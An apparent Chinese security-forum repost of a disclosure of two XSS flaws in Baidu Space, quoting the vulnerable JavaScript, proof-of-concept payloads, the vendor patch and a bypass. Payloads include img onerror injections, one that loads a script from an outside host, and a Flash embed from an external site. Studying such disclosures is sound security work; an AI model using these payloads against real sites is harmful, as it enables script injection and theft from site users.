找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2353|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  & Q3 L# g0 `) E$ r4 l

/ k0 r- k: Z1 L6 I1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  $ {3 M5 o1 w4 Q* k( N% Z7 q
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  ) P1 e# k# C, v

9 C& m' W# Y& y6 D" K+ D1 D将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
2 [. i/ e9 |, g5 }/ k其中BdUtil.insertWBR为  
0 X  T0 L, a: @' f- P& g0 Wfunction(text, step) {  - t& c# P: o& o/ t
    var textarea = textAreaCache || getContainer();  9 @% J. j* H6 G' r- h1 c# L/ H" w
    if (!textarea) {  
* e& y6 D8 {! G+ Y6 ^        return text;  
  ^$ |1 H7 O4 _1 t4 ]    }    d5 d  F- C; x- p8 `
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  # }" p6 L0 G* ^2 }7 P- ?: d9 g
    var string = textarea.value;  ( R- ?7 G" F! v; v# l9 D
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
. ^) U* X/ @" ^: X" ~# K7 Z    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  9 c8 b) L! B5 ^4 p8 o) X/ D
    return result;  
0 h( u$ D& u; }) X6 A9 |; H' m7 n& `}  7 e1 N. z( l8 S, U; [# u" G
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  5 a9 h5 L; J* D3 I6 N" D- B; z1 K* V
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  " K7 a; ^9 B9 j% q7 X* S; ~3 F% A6 _+ f
   ) ?' O  t" c8 D) l! L) k  m
二:creatbgmusic() Dom-Xss Bug  
$ a/ J' e: _$ d9 |* e: c% k8 Y百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
/ {* U3 e+ U: A$ ]- ^* Z+ v- [# e4 ~7 T/ J  E. k
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
1 s7 O. G+ z# ?
8 S+ J* J0 m. K+ ]& m! U! Hfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
0 E" r0 w( h, s! O9 t    //传入的murl赋值到bgmusic1和bgmusic2中  0 H/ Y. |( j4 f+ C3 D6 _
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  4 W6 B' w: J5 w9 R" }
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  ; q2 B" a4 O6 |1 v1 g
    if (musicnum <= 1) {  6 s+ L" N1 H; {3 I6 T
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  2 E0 S) n' K6 e; o
    }  8 U* |6 z+ ]0 B* s! b
    bgmusic1 += "</OBJECT>";  " L0 a6 M3 g8 w0 B, n& V
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  ) P. l4 ^5 @0 C' [( e8 z
    if (musicnum <= 1) {  6 i+ E  l' |& {9 I. P
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
; @7 r" c! n8 R& w7 ?: L, y    }  
' A5 a* i, T% v) r5 Q+ g4 S" \% ]    bgmusic2 += "> </EMBED>";  
4 P. B. W  @& d. Z    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
1 ?9 i3 j  \. ~4 y$ l    var bgmus = detectWMP();  
. Y) F* J0 A9 Y" b. |5 _( a    if (functype == "FckMusicHelper") {  ( N; N: \* X& g0 x, L1 W+ z7 K& l
        if (bgmus.installed) {  + L$ O  N  b7 G& v5 m
            if (bgmus.type == "IE") {  
- `6 [* |/ W4 X' J" N& h. z                return bgmusic1;  . p2 V3 z+ l6 P* v9 _/ h4 d! x
            } else if (bgmus.type == "NS") {  1 i& ~6 V2 _1 X
                return bgmusic2;  . @% l* e; O4 t- @- V+ [
            }  
. c! w, f- s: {/ C4 V. z) Q        } else {  
+ t9 ~, q- k  ?            return bgmusic3;  + j& {2 ?( w9 a. b
        }  & V0 D' p5 ]7 F% r
    } else {  
* `, a( g& x5 L1 D) M8 `) m        if (bgmus.installed) {  
' ?+ ]. m  [$ e7 v            //document.write 直接输出bgmusic变量 导致xss  ' ?' B+ Q, g$ s" _$ h2 H
            if (bgmus.type == "IE") {  2 e# r: q6 |6 L6 {
                document.write(bgmusic1);  6 I- L9 B$ }( u2 O+ a# U) ~
            } else if (bgmus.type == "NS") {  . @8 E$ E! W% j) e$ J( f( a0 J
                document.write(bgmusic2);  1 f! f) f1 H$ a" R8 d
            }  
2 k: j) x- n* B/ j9 ]        } else {  1 Q( k. d# H$ v/ w( ]& z
            document.write(bgmusic3);  ) Y8 D6 [  X4 {( }0 K) ]8 f
        }  
# P- B+ s5 o4 {$ L4 Z        return "";  + {- ^" d' |" e* O# f  p- B
    }  
& O7 p1 r, C" ?& n; M}  & c' e, n: x  y# H3 e- l* x# F8 E9 u

( I$ z* f2 m! ]5 q) u- p, m3 s% {3 |在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
% _* ~" l2 n8 `* k
) g. j! |  d, u; w* c: V" sfunction initBlogTextForFCK(){  
6 X1 U5 f( I9 f  U//fck init music  : b' Q8 ~2 V! Z7 Q* g' q! [( j
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
' ~$ P. b, d+ V) T, |7 [% a3 Lvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
! E3 J* r/ d/ e, X" A; A& v7 qvar isAutoPlay=true;  , i8 A3 o6 T% i5 o3 Z
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
/ ^, v7 }3 W$ O5 N$ v& z  var img=imgBox;  
( B$ k/ X; S. M  [/ z0 {& D, l9 S  if(img.getAttribute(’rel’)){        " M3 s2 L  B$ N
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  6 O' ]* k, w, s2 W
   var musicDiv = document.createElement("SPAN");  
5 x) p4 I! b' Y  P- \3 E4 y   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
+ h, ?/ x% s6 E5 q7 ?     
! ^- f0 b. R' c2 f9 Y      ..........................  . @" K& I  U' ^9 H1 ^9 B
     
- h: E- _( D, n$ l$ ~# p( Z* _/ C   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   ! Y, G7 M( x, z3 l
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
6 i) J+ n$ m, k   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
  S/ a- [$ A6 a8 G  t+ i5 |   musicDiv.innerHTML=shtml;  
9 y6 R' e  d' n! z   i--;n--;  
3 g; h2 q2 k% Y, `# a) K  }  
! m0 b, h- t7 l" Y. `8 d9 S  o}  
2 `2 \  O+ V3 C3 ?4 U' z) {! \/ j6 Q
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
& G9 M2 A, J, J* c4 ~- ]; A) q; L   
( w+ y: V9 T, ~: I测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
0 G9 f4 K1 r0 l8 ^( n. q5 C
2 \5 T7 V( }5 f- n+ T& \9 i3 u等待官方补丁  1 `( C( c  p# U" T
7 W1 V8 p9 X" C  o- |8 \; Z
update 2010年5月13日   
6 h; N4 ?/ z* @/ |. U2 |1 w, B) B! c( y0 h" w; V, o# C/ Q
官方补丁:  
) l% J5 N* c$ Y$ J# |( }: w3 d) ?2 k& K4 Y& v) ^
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
: g+ H+ v+ P' A$ z改为:  
% j# k* `; t+ d0 G4 Nvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  : `' c' ?8 ~0 r; F
* N5 a' U- Z9 S7 B
update 2010年5月13日 21:50:37  % i" ^) L+ ^- J
2 w! Z* u* ~; c$ ~# l) ~# d
补丁存在漏洞 没有过滤" 可以继续跨:  
/ w% L$ E; y) r  S6 N6 H9 P7 b8 t/ h
8 Y" ^; t9 g! _5 SNEW POC:  - T- f; Y7 a; t: O7 M

4 U' a3 B* {( a8 Q3 k<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" ( y( z/ U% H& h2 Y1 x
8 l" f* V5 e# {( Z4 S
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>' c0 L1 n) M9 E5 E% o
3 \4 h* H  N# R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表